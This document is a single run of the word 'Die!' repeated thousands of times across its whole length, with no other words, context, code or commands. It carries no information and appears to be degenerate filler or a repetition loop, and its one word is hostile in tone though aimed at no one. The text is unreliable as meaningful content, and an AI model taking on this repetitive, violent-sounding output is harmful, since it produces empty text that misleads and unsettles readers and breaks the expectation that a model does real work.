Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! Die! 